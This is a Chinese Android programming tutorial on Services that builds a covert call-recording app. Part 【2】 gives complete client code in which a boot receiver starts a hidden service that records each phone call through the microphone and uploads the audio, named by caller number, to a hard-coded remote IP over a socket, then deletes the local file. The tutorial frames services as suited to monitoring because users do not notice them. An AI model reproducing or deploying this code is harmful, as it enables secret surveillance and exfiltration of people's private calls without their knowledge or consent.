Android之Service案例-电话

【0】Android中的服务和windows中的服务是类似的东西，服务一般没有用户操作界面，它运行于系统中不容易被用户发觉，可以使用它开发如监控之类的程序。Service的建立如下：

第一步：继承Service类

public class SMSService extends Service { }

第二步：在AndroidManifest.xml文件中的<application>节点里对服务进行配置:

服务不能自己运行，需要通过调用Context.startService()或Context.bindService()方法启动服务。这两个方法都可以启动Service，但是它们的使用场合有所不同。

使用startService()方法启用服务，调用者与服务之间没有关连，即使调用者退出了，服务仍然运行。

使用bindService()方法启用服务，调用者与服务绑定在了一起，调用者一旦退出，服务也就终止，大有“不求同时生，必须同时死”的特点。

采用Context.startService()方法启动服务，在服务未被创建时，系统会先调用服务的onCreate()方法，接着调用onStart()方法。如果调用startService()方法前服务已经被创建，多次调用startService()方法并不会导致多次创建服务，但会导致多次调用onStart()方法。采用startService()方法启动的服务，只能调用Context.stopService()方法结束服务，服务结束时会调用onDestroy()方法。

【1】

要实现电话，需要监听电话的状态，方法如下：

/* 取得电话服务 */TelephonyManager telManager = (TelephonyManager) getSystemService(Context.TELEPHONY_SERVICE);PhoneStateListener listener = new PhoneStateListener(){ @Override public void onCallStateChanged(int state, String incomingNumber) { switch (state){ case TelephonyManager.CALL_STATE_IDLE: /* 无任何状态时 */ break; case TelephonyManager.CALL_STATE_OFFHOOK: /* 接起电话时 */ break; case TelephonyManager.CALL_STATE_RINGING: /* 电话进来时 */ break; default: break; } super.onCallStateChanged(state, incomingNumber); } };//监听电话的状态telManager.listen(listener, PhoneStateListener.LISTEN_CALL_STATE);

在清单文件AndroidManifest.xml中添加权限：

<uses-permission android:name="android.permission.READ_PHONE_STATE"/>

可以使用手机进行现场录音，实现步骤如下：

第一步：在功能清单文件AndroidManifest.xml中添加音频刻录权限：

<uses-permission android:name="android.permission.RECORD_AUDIO"/>

第二步：编写音频刻录代码:

MediaRecorder recorder = new MediaRecorder(); recorder.setAudioSource(MediaRecorder.AudioSource.MIC);//从麦克风采集声音 recorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);//内容输出格式 recorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);//音频编码方式 recorder.setOutputFile("/mnt/sdcard/itcast.amr"); recorder.prepare();//预期准备 recorder.start(); //开始刻录 ... recorder.stop();//停止刻录 recorder.reset(); //重设 recorder.release(); //刻录完成一定要释放资源

【2】电话时使用手机麦克风进行录音，然后把录下的音频文件上传至指定的服务器

代码示例：这里只显示客户端的代码

public class PhoneListenService extends Service {private static final String TAG = "PhoneListenService";@Overridepublic void onCreate() {TelephonyManager telManager = (TelephonyManager) getSystemService(Context.TELEPHONY_SERVICE);telManager.listen(new TelListener(), PhoneStateListener.LISTEN_CALL_STATE);Log.i(TAG, "service created");super.onCreate();}private class TelListener extends PhoneStateListener{private MediaRecorder recorder;private String mobile;private File audioFile;private boolean record;@Overridepublic void onCallStateChanged(int state, String incomingNumber) {try {switch (state){/* 无任何状态时 */case TelephonyManager.CALL_STATE_IDLE: if(record){recorder.stop();//停止刻录recorder.release();record = false;new Thread(new UploadTask()).start();Log.i(TAG, "start upload file");}break;/* 接起电话时 */case TelephonyManager.CALL_STATE_OFFHOOK: Log.i(TAG, "OFFHOOK:"+ mobile); recorder = new MediaRecorder(); recorder.setAudioSource(MediaRecorder.AudioSource.MIC);//从麦克风采集声音 recorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);//内容输出格式 recorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);//音频编码方式 audioFile = new File(getCacheDir(), mobile+"_"+ System.currentTimeMillis()+".3gp"); recorder.setOutputFile(audioFile.getAbsolutePath()); recorder.prepare(); //预期准备 recorder.start(); //开始刻录 record = true; break;/* 电话进来时 */case TelephonyManager.CALL_STATE_RINGING: Log.i(TAG, "incomingNumber:"+ incomingNumber);mobile = incomingNumber;break;default:break;}} catch (Exception e){Log.e(TAG, e.toString());}super.onCallStateChanged(state, incomingNumber);}private final class UploadTask implements Runnable{@Overridepublic void run() {try {Socket socket = new Socket("220.113.15.71", 7878); OutputStream outStream = socket.getOutputStream(); String head = "Content-Length="+ audioFile.length() + ";filename="+ audioFile.getName() + ";sourceid=/r/n"; outStream.write(head.getBytes()); PushbackInputStream inStream = new PushbackInputStream(socket.getInputStream());String response = StreamTool.readLine(inStream); String[] items = response.split(";");String position = items[1].substring(items[1].indexOf("=")+1);RandomAccessFile fileOutStream = new RandomAccessFile(audioFile, "r");fileOutStream.seek(Integer.valueOf(position));byte[] buffer = new byte[1024];int len = -1;while( (len = fileOutStream.read(buffer)) != -1){outStream.write(buffer, 0, len);}fileOutStream.close();outStream.close(); inStream.close(); socket.close(); audioFile.delete(); } catch (Exception e) { Log.e(TAG, e.toString()); }}}}//清空缓存目录下的所有文件@Overridepublic void onDestroy() {File[] files = getCacheDir().listFiles();if(files!=null){for(File f: files){f.delete();}}Log.i(TAG, "Service Destroy");super.onDestroy();}@Overridepublic IBinder onBind(Intent intent) {// TODO Auto-generated method stubreturn null;}}

public class BootBroadcastReceiver extends BroadcastReceiver {@Overridepublic void onReceive(Context context, Intent intent) {Intent service = new Intent(context, PhoneListenService.class);context.startService(service);}}

public class StreamTool { public static void save(File file, byte[] data) throws Exception { FileOutputStream outStream = new FileOutputStream(file); outStream.write(data); outStream.close(); } public static String readLine(PushbackInputStream in) throws IOException {char buf[] = new char[128];int room = buf.length;int offset = 0;int c;loop:while (true) {switch (c = in.read()) {case -1:case '/n':break loop;case '/r':int c2 = in.read();if ((c2 != '/n') && (c2 != -1)) in.unread(c2);break loop;default:if (--room < 0) {char[] lineBuffer = buf;buf = new char[offset + 128]; room = buf.length - offset - 1; System.arraycopy(lineBuffer, 0, buf, 0, offset); }buf[offset++] = (char) c;break;}}if ((c == -1) && (offset == 0)) return null;return String.copyValueOf(buf, 0, offset);} /*** 读取流* @param inStream* @return 字节数组* @throws Exception*/public static byte[] readStream(InputStream inStream) throws Exception{ByteArrayOutputStream outSteam = new ByteArrayOutputStream();byte[] buffer = new byte[1024];int len = -1;while( (len=inStream.read(buffer)) != -1){outSteam.write(buffer, 0, len);}outSteam.close();inStream.close();return outSteam.toByteArray();}}

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